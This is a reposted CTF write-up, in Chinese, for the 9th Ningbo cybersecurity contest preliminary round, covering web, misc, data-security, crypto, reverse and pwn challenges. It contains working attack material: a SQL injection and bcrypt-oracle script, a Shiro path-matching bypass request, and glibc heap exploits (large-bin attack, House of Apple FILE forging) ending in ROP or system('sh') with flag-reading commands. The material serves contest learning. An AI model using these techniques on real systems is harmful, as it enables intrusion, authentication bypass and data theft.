第九届宁波市网络安全大赛初赛Writeup"

admin 2026-10-23 04:27:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

第九届宁波市网络安全大赛初赛 Writeup

原创

N1bbl3 安全团队
N1bbl3 安全团队

N1bbl3

2026年8月17日 21:02
中国香港

在小说阅读器读本章

去阅读

WEB

Web1

登录接口存在用户名参数注入点。通过 UNION SELECT 可以控制查询结果,密码错误页面还会原样回显服务端计算出的 bcrypt 字符串。该回显并不适合用于传统暴力破解,因为 bcrypt 的计算成本较高。

继续看服务端逻辑,实际参与计算的是:

crypt(用户输入的密码 + flag, bcrypt_salt)

PHP 的 bcrypt 实现只取输入的前 72 个字节。于是可以把前面用 a 填满,只让 flag 的一个新字符落在第 72 字节:

已知 flag[:j]
P = b\"a\" * (71 - j)
服务端收到 P 时,真正 hash 的内容 = P + flag[:j+1]

服务端返回的是带 salt 的完整 bcrypt 字符串。salt 固定以后,本地只需要把候选字符拼到 P + 已知前缀 后面,逐个调用同一份 bcrypt,比较结果是否相同。相同就说明这个字符对上了。

该利用的关键不是破解 bcrypt,而是将回显的 hash 转换为等值判断 oracle。脚本骨架如下,候选集可根据 flag 的字符范围进一步缩小:

import bcrypt
import re
import string
import requests

BASE = \"http://45.40.247.139:32712/\"
SALT_TEXT = \"$2a$10$77b438009c258a4cb0215c98a19cfb61$\"
SALT = b\"$2a$10$77b438009c258a4cb0215O\"
UNION = \"' UNION SELECT 'a','b'-- \"
CHARSET = string.ascii_letters + string.digits + string.punctuation
session = requests.Session()

def ask(password):
    r = session.post(BASE + \"?salt=\" + SALT_TEXT,
                     data={\"username\": UNION, \"password\": password},
                     timeout=30)
    m = re.search(r\"你的登陆密码错误:(\\S+)\", r.text)
    if not m:
        raise RuntimeError(r.text[:200])
    return m.group(1)

prefix = b\"\"
for j in range(72):
    pad = b\"a\" * (71 - j)
    reference = ask(pad.decode())
    for ch in CHARSET:
        probe = pad + prefix + ch.encode()
        if bcrypt.hashpw(probe, SALT).decode() == reference:
            prefix += ch.encode()
            print(prefix.decode())
            break
    else:
        # 一个字符都对不上,通常就是 flag 已经结束
        break

Web3

附件为 Java 17 fat JAR。依赖版本如下,可据此确定后续分析方向:

组件 版本
Spring Boot 2.7.0
Spring Framework 5.3.20
Tomcat 9.0.63
Apache Shiro 1.9.0
Commons Collections 3.2.2
Commons BeanUtils 1.9.4

DemoController 有 /permit/{value},MyFilter 要求请求头中存在 Token: FAKE_TOKEN。正常路径会被下面这条规则拦住:

/permit/.* -> myFilter

题目没有用 Shiro 默认的 Ant matcher,而是换成了 RegExPatternMatcher。1.9.0 的匹配本质上就是:

Pattern.compile(pattern).matcher(source).matches();

Java 正则的 . 默认不吃换行。Shiro 在做匹配前又会进行 URL decode,于是:

/permit/a%0ab  ->  /permit/a\
b

/permit/.* 不能覆盖中间的 \,filter chain 没有命中;但 Spring MVC 仍然可以把它当作 {value} 交给控制器。请求不需要 Token:

GET /permit/a%0ab HTTP/1.1
Host: 45.40.247.139:24615

得到:

DASCTF{anEasy_CVE_Test}

普通的 /permit/abc 则会返回 access denied,所以这不是控制器本身的鉴权绕过,而是两套路径匹配规则的语义不一致。Shiro 1.9.1 已经改成带 DOTALL 语义的正则编译,官方说明见:https://shiro.apache.org/blog/2022/06/28/apache-shiro-191-released.html。

此外,rememberMe 反序列化并非本题路径:本地配置没有指定 cipher key,AbstractRememberMeManager 会为进程随机生成 AES key,远程无法稳定复现;分号、双斜杠和 .. 等路径变体又会先被 Tomcat 规范化,均不能形成有效绕过。

MISC

Misc1

附件解出来是:

Happy Adventure.zip
├── Adventure.zip       # 有密码
└── First Challenge.png

完整利用链如下:

裁剪 PNG 的残留数据 -> Adventure.zip 密码
PNG IEND 后的尾随文本 -> Base64 清洗提示
解出的图片 -> Unix 时间
RAR 文件创建时间 -> flag

1)aCropalypse 残留

First Challenge.png 的 IEND 后存在大量数据,符合裁剪工具未截断旧文件的 aCropalypse 特征。CVE-2023-21036、CVE-2023-28303 均属于同类问题:旧图像的 Deflate 流残留在文件末尾。

残留并非从 Deflate 的字节边界开始,因此需要同时枚举字节偏移和 bit 偏移,并为解压器提供 32 KiB 的滑动窗口。恢复结果为:

recovered deflate bytes: 508242
skip=3294 shift=6 -> 14535019 raw bytes

把 raw 扫描线按 PNG filter 逆变换,再尝试常见屏幕宽度。2560 宽的图能正常看出:

密钥即为 CVE 编号

所以第一层密码就是:

CVE-2023-28303

2)IEND 后的字符串

Adventure.zip 解开后包含 Readme.txt、Secret time.zip、whatsthis.txt、wow.png。使用 OpenCV 读取 wow.png 中的二维码,得到的是干扰项:

Sorry,TimeKey has been hiden by me ,and you never get it!!!  ---Vicious Alpha.ext

真正有用的是 wow.png 的 IEND 尾随数据:

why you find it?
Zss010C3 is the obstacle

whatsthis.txt 看着像 PNG 的 Base64,但字符串 Zss010C3 重复了 8 次,开头还缺 iVBORw0K。删掉污染片段、补回前缀即可:

import base64

s = open(\"whatsthis.txt\", encoding=\"utf-8\").read().strip()
assert s.count(\"Zss010C3\") == 8
png = base64.b64decode(\"iVBORw0K\" + s.replace(\"Zss010C3\", \"\"))
open(\"whatsthis_clean.png\", \"wb\").write(png)

图片上写的是:

NOOOOOO!!!!
YOU FIND TimeKey
2144483000

于是第二层压缩包:

7z x 'Secret time.zip' -p2144483000

3)时间差转字符

里面的 日志0.txt 到 日志20.txt 内容都像普通 Apache 日志,异常点是创建时间被统一放在 2037 年附近。2144483000 转成本地时间是 2037-12-15 17:43:20。每个文件的创建时间减去这个基准,得到的秒数正好落在 ASCII 范围,按文件编号排序后是:

{W0w!_Y0u_F1nD_M4!!!}

补上题目约定的前缀:

DASCTF{W0w!_Y0u_F1nD_M4!!!}

Misc2

XBOX.pcapng 一共有 3862 个 USBPcap 包。先按报告长度和固定字段筛选:

len(data) == 45
data[27] == 0x20
data[30] == 0x0e

再看 data[31:33],这是小端按键掩码:A 键为 0x10,B 键为 0x20。长按时同一个报告会重复发送,所以只在掩码从 0 变成 A/B 的瞬间取一次,A 记 0,B 记 1。最后得到 320 bit,也就是 40 个字节:

from scapy.all import PcapNgReader

bits, old = [], 0
for pkt in PcapNgReader(\"XBOX.pcapng\"):
    data = bytes(pkt)
    if len(data) != 45 or data[27] != 0x20 or data[30] != 0x0e:
        continue
    mask = int.from_bytes(data[31:33], \"little\")
    if old == 0:
        if mask == 0x10:
            bits.append(\"0\")
        elif mask == 0x20:
            bits.append(\"1\")
    old = mask

stream = \"\".join(bits)
assert len(stream) == 320
print(\"\".join(chr(int(stream[i:i+8], 2))
              for i in range(0, len(stream), 8)))
DASCTF{67f69ab190f061c8b475406e9a9c874e}

DATA SECURITY

DS:HTTP 分片流量中的加密员工数据

如果直接对单个 TCP 数据包进行 Base64 解码,会受到 TCP 分片和重传的影响。题目提供 data.pcapng 与字段规范,目标是按 userid 合并记录,最终仅保留以下六个字段均完整的数据:

userid, username, name, phone, idcard, email

请求里的 pass 固定为 16 字节,例如:

GET /api/profile?pass=BnJVnu.QCHhovMoo HTTP/1.1

样本验证得到的解密顺序为:

Base64 -> AES-128-ECB(key=pass) -> PKCS#7 去填充 -> JSON

重组时按客户端/服务端四元组分开,按 TCP sequence 排序,并丢掉已经覆盖过的字节。核心代码如下:

from collections import defaultdict
import base64, csv, json, re
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7
from scapy.all import IP, TCP, Raw, rdpcap

FIELDS = [\"userid\", \"username\", \"name\", \"phone\", \"idcard\", \"email\"]
flows = defaultdict(lambda: {\"req\": [], \"resp\": []})

for p in rdpcap(\"data.pcapng\"):
    if IP not in p or TCP not in p or Raw not in p:
        continue
    if p[TCP].dport == 80:
        key = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
        flows[key][\"req\"].append((p[TCP].seq, bytes(p[Raw].load)))
    elif p[TCP].sport == 80:
        key = (p[IP].dst, p[TCP].dport, p[IP].src, p[TCP].sport)
        flows[key][\"resp\"].append((p[TCP].seq, bytes(p[Raw].load)))

def join(parts):
    out, end = bytearray(), None
    for seq, chunk in sorted(parts):
        if end is None:
            out.extend(chunk); end = seq + len(chunk); continue
        if seq + len(chunk) > end:
            out.extend(chunk[max(0, end-seq):])
            end = seq + len(chunk)
    return bytes(out)

def decode(passwd, response):
    _, sep, body = response.partition(b\"\\r\
\\r\
\")
    if not sep:
        raise ValueError(\"HTTP body incomplete\")
    raw = base64.b64decode(body, validate=True)
    dec = Cipher(algorithms.AES(passwd), modes.ECB()).decryptor()
    padded = dec.update(raw) + dec.finalize()
    unpad = PKCS7(128).unpadder()
    plain = unpad.update(padded) + unpad.finalize()
    return json.loads(plain.decode())

merged = {}
for flow in flows.values():
    req, resp = join(flow[\"req\"]), join(flow[\"resp\"])
    m = re.search(rb\"GET /api/[^? ]+\\?pass=([^ ]+) HTTP/1\\.[01]\", req)
    if not m:
        continue
    row = decode(m.group(1), resp)
    merged.setdefault(row[\"userid\"], {}).update(row)

rows = [r for r in merged.values()
        if all(r.get(k) not in (None, \"\") for k in FIELDS)]
rows.sort(key=lambda r: int(r[\"userid\"]))
with open(\"result.csv\", \"w\", encoding=\"utf-8\", newline=\"\") as f:
    w = csv.DictWriter(f, fieldnames=FIELDS, lineterminator=\"\
\")
    w.writeheader(); w.writerows(rows)

统计结果是 5332 条响应成功解密,合并出 3000 个唯一 userid,其中 1950 条字段完整,1050 个因为缺字段被丢掉。生成文件的 SHA-256:

0d36313ec2cd51fa82790b98d66b4f774ad8995952d7249b0337f881c4975067

CRYPTO

Crypto1

两个密文共用 n 和 e=17,而且明文满足:

m1 = m
m2 = a*m + b (mod n)

于是 m 同时是下面两个多项式的根:

f1(x) = x^17 - c1
f2(x) = (a*x+b)^17 - c2

正常情况下两式的最大公因式应为一次式 u*x+v,从而可以计算 m = -v/u mod n。该过程不依赖 Sage,使用模 n 的多项式除法即可完成;每次消元时需要对首项系数求逆。

from Crypto.Util.number import inverse, long_to_bytes

def trim(p, n):
    while p and p[-1] % n == 0:
        p.pop()
    return [x % n for x in p]

def pmul(a, b, n):
    r = [0] * (len(a) + len(b) - 1)
    for i, x in enumerate(a):
        for j, y in enumerate(b):
            r[i+j] = (r[i+j] + x*y) % n
    return trim(r, n)

def pdiv(a, b, n):
    a, b = trim(a[:], n), trim(b[:], n)
    inv = inverse(b[-1], n)
    q = [0] * max(1, len(a)-len(b)+1)
    while len(a) >= len(b):
        d = len(a)-len(b)
        k = a[-1] * inv % n
        q[d] = k
        for i, x in enumerate(b):
            a[d+i] = (a[d+i] - k*x) % n
        a = trim(a, n)
    return trim(q, n), a

# f = x^e-c1,g = (a*x+b)^e-c2
f = [(-c1) % n] + [0] * (e-1) + [1]
g = [1]
for _ in range(e):
    g = pmul(g, [b, a], n)
g[0] = (g[0] - c2) % n
while g:
    _, f = pdiv(f, g, n)
    f, g = g, f
assert len(f) == 2
m = (-f[0] * inverse(f[1], n)) % n
print(long_to_bytes(m).decode())
DASCTF{P0lyn0m1al_GCD_1s_Th3_K3y_T0_RSA}

Crypto2

题面给的函数是:

F(y) = Σ(i*y^i), i=0..63

对于每组 (e,c),构造 Res_y(F(y)-c, y^e-X)。具体实现时,在商环 (Z/nZ)[y]/(F(y)-c) 中将“乘以 y^e”表示为 63 阶矩阵,再计算该矩阵的特征多项式。所得特征多项式即为关于 X 的 resultant 关系式。

两组关系式分别求 monic gcd,最后会退化成一次式,根就是原始明文。用 python-flint 的写法大致如下:

from flint import fmpz_mod_ctx, fmpz_mod_mat, fmpz_mod_poly_ctx
from Crypto.Util.number import long_to_bytes

R = fmpz_mod_poly_ctx(n)
y = R.gen()
F = sum(i * y**i for i in range(64))

def relation(e, c):
    mod = (F-c) * pow(63, -1, n)
    power = pow(y, e, mod)
    cols = []
    for j in range(63):
        q = (power * y**j) % mod
        cols.append([int(q[i]) for i in range(63)])
    mat = fmpz_mod_mat([[cols[j][i] for j in range(63)]
                        for i in range(63)], fmpz_mod_ctx(n))
    return mat.charpoly()

def mgcd(a, b):
    while b:
        a, b = b, a % b
    return a * pow(int(a[a.degree()]), -1, n)

g = mgcd(relation(e1, c1), relation(e2, c2))
m = (-int(g[0]) * pow(int(g[1]), -1, n)) % n
print(long_to_bytes(m).decode())
DASCTF{J@st_U53_C0mpan1on_M@TRiX_T0_G3t_m-r00t_Poly}

REVERSE

Reverse1

附件为 Unity Windows 游戏。GameAssembly.dll、global-metadata.dat、il2cpp_data 的组合表明程序使用 IL2CPP。C# 逻辑虽然被 AOT 编译为 native 代码,但类名、字段和默认值仍保留在 metadata 中。

先检查头:

import struct
data = open(\"global-metadata.dat\", \"rb\").read()
print(struct.unpack_from(\"<iI\", data, 0))
# (-89056337, 29) -> 0xFAB11BAF / v29

需要注意的是,v29 的 Il2CppMethodDefinition 为 32 字节,而不是旧版本中常见的 36 字节;Il2CppTypeDefinition 按 88 字节解析。结合字符串表和 image 的 type 范围校验后,Assembly-CSharp.dll 对应的 type index 为 3729..3802。

在 QRCodeGenerator 里能看到 qrCodeData、GenerateQRCode、CreateCube、CalculateStartPosition,说明二维码点阵就在附近。<PrivateImplementationDetails> 下有三个静态数组候选:3364、2637、1513 字节。只有 3364 字节的那块只包含 0/1:

3364 / 4 = 841 = 29 * 29

由此确定为 Version 3 二维码。根据默认值表的 dataIndex=76272 取出 841 个 int32,按行主序绘制为 29×29 矩阵并添加四格 quiet zone,OpenCV 和 pyzbar 均可读取出相同 flag。再使用 qrcode 按 Version 3、纠错 L、mask 2 重新编码并逐格比较,diff 为 0,排除了误读的可能。

DASCTF{e45e144f-fe2a-4d49-9f3f-1af4f9df0244}

Reverse2

核心逻辑可以压缩成三行:

key = input.Substring(7, 4)
index[i] = Random(2024).Next(256) % 4
cipher[i] = input[i] ^ key[index[i]]

目标密文在程序里,flag 前缀 DASCTF{ 已知。先用前 7 个明文字节反推出对应 key 槽位,剩下的槽位枚举可打印 ASCII,再检查:

明文以 DASCTF{ 开头、以 } 结尾
明文第 7..10 字节等于 key
全部字节可打印

该题必须实现旧版 .NET 的 subtractive System.Random,Python 的 Mersenne Twister 生成序列与其不同。附件 SHA-256 为:

7e6ad67f77edc0be18910ed102b607db0bd5060ef2265587ea7676e41526611d

枚举完成后得到:

DASCTF{QDxz77WHtRIZxVbVPIriyvoT4xWCs1esZaEddSGldPjn5b4Wt6LMpt2t}

PWN

Pwn1

程序开启 PIE、Full RELRO、Canary、NX、SHSTK、IBT,运行环境为 glibc 2.35。菜单包含 Add/Delete/Edit/Show,但 Delete 后未清空指针,因此存在 UAF。

泄漏

申请四个 0x500 chunk,释放 0 和 2,使其进入 unsorted bin。show(0) 可读取 main_arena+0x60,由此计算 libc;show(2) 的 fd 指向 chunk0,可反推出 heap。需要保留一个 guard chunk,避免 chunk 与 top 合并影响泄漏。

Large Bin

先准备一个实际 chunk size 为 0x520 的大块 p1,让它落进 large bin;再把同尺寸附近的 p2 留在 unsorted。UAF 改写:

p1->bk_nextsize = _IO_list_all - 0x20

下一次申请触发 unsorted 到 large 的插入时,glibc 会沿 nextsize 链写指针,最终把 _IO_list_all 改成 p2。

本题环境偏移:

main_arena  = 0x21ac80
_IO_list_all = 0x21b680
_IO_wfile_jumps = 0x2170c0
setcontext+61 = 0x53a1d

House of Apple 2

在 p2 中伪造 _IO_FILE、_IO_wide_data 和宽字符 vtable,把 __doallocate 指向 setcontext+61。满足 flush 条件后,_IO_wfile_overflow -> _IO_wdoallocbuf 会切换到 heap 上的 ROP 栈,执行:

open(\"/flag\", 0)
read(fd, buf, 0x100)
write(1, buf, 0x100)

触发方式为提交越界索引 99。程序报错后调用 exit(0),进入 _IO_cleanup,从而触发伪造的 FILE。

远程回显:

libc = 0x7f9b50c28000  heap = 0x5584b307c290
DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}

该题 EXP 的关键布局如下,完整脚本中将各地址替换为 libc_base + offset 即可:

fake_file[0x90:0x98] = p64(fake_wide_data)
fake_file[0xc8:0xd0] = p64(libc + 0x2170c0)
fake_wide_data[0x90:0x98] = p64(heap_rop)
fake_wide_data[0xd0:0xd8] = p64(fake_vtable)
fake_vtable[0x58:0x60] = p64(libc + 0x53a1d)

Pwn2

vvmm 是自定义字节码解释器,宿主栈并没有需要利用的溢出。真正危险的是 VM 自带的 syscall:

指令 能力
0x33 read/write/exit/malloc/free ,缓冲区是 R1 绝对地址
0x35 同样的 syscall,但缓冲区为 mem + R1
R6 VM 栈指针,本质上是一个 heap 地址
malloc 返回的 chunk 指针写入 SP+0x1010 数组

先用 mov_sp_reg 把 R6 拆成两个 32 位数写出,得到 SP。然后 malloc 两个 0x500,从 SP+0x1010 取第一块地址,free 掉它,再读取块头的 unsorted fd,算出 libc:

SP           = 0x5585613fa2a0
chunk        = 0x5585613fdf80
unsorted fd  = 0x7fbc6392bce0
libc_base    = 0x7fbc63711000

后续仍然使用 House of Apple,但不需要 large bin。直接在 fp = SP+0x100 伪造 FILE:

fp+0x00  = \" sh\\0\"
fp+0x28  = 1
fp+0xa0  = fp+0xe0
fp+0xd8  = libc + _IO_wfile_jumps
fp+0x1c0 = fp+0x200
fp+0x268 = libc + system
_IO_list_all = fp

VM 的 exit(0) 会进入 _IO_flush_all_lockp,随后通过宽字符 vtable 调用 system(\" sh\")。获得 shell 后发送 cat /flag 即可。

自动化脚本不应直接调用 io.interactive()。在非终端环境中会立即向 shell 提供 EOF,导致 shell 在后续命令发送前退出。应等待几十到几百毫秒后调用 sendline(),再循环接收输出:

time.sleep(0.3)
io.sendline(b\"echo PWNED; cat /flag; cat flag; ls -la\")
io.settimeout(3)
out = b\"\"
while True:
    try:
        part = io.recv(4096)
        if not part:
            break
        out += part
    except EOFError:
        break
print(out.decode(\"latin-1\", errors=\"replace\"))

输出:

PWNED
DASCTF{71303455166142814175252139880040}

第九届宁波市网络安全大赛初赛Writeup" 网络安全文章

第九届宁波市网络安全大赛初赛Writeup"

该文档是第九届宁波市网络安全大赛初赛的Writeup,涵盖Web、Misc和DataSecurity赛题。Web1利用bcrypt的72字节限制进行字符推断;Web3通过正则匹配绕过Shiro过滤器。Misc1涉及PNG残留数据和时间戳分析;Misc2通过XBOX手柄按键掩码提取二进制数据。DS部分涉及HTTP分片流量解密。核心结论是CTF解题需关注技术细节和逻辑漏洞。
融资1.17亿美元的技术被彻底开源!5.6万星AI黑客杀疯了:能找Bug,还能直接黑掉你的应用" 网络安全文章

融资1.17亿美元的技术被彻底开源!5.6万星AI黑客杀疯了:能找Bug,还能直接黑掉你的应用"

开源AI工具Strix通过自主代理集群实现动态漏洞验证与完整攻击链生成,克服了传统扫描器高误报与人工渗透高成本的痛点,覆盖SQL注入及RCE等漏洞。使用该工具需承担LLM调用成本,并须警惕仿冒仓库的供应链投毒风险,严格限制于授权资产内测试。AI编码普及导致攻击面剧增,以AI自动化工具对抗机器生成的漏洞已成为必然趋势。
夯爆了!腾讯朱雀又开源了一个超硬核AI工具" 网络安全文章

夯爆了!腾讯朱雀又开源了一个超硬核AI工具"

腾讯朱雀实验室开源了AI安全自查工具A.I.G(AI-Infra-Guard),用于扫描AI基础设施、MCPServer、Agent工作流及模型越狱风险。它支持漏洞检测、恶意代码分析和模型指纹识别,部署简单(Docker一键启动),适合内部使用。建议AI服务使用者部署并扫描,以提升安全性。
一个可以代替Trello的开源看板工具Kan,从零开始保姆级部署教程" 网络安全文章

一个可以代替Trello的开源看板工具Kan,从零开始保姆级部署教程"

本文详细介绍了开源看板工具Kan的部署教程,包括DockerCompose一键部署、环境变量配置、本地开发环境搭建、MCPServer集成AI功能以及日常运维与升级。Kan作为Trello的自托管替代品,支持看板协作、标签筛选和Trello数据导入。部署过程简单,建议配置认证、邮件和文件存储以发挥完整功能。MCPServer允许AI通过自然语言操作看板,提升效率。
评论:0   参与:  0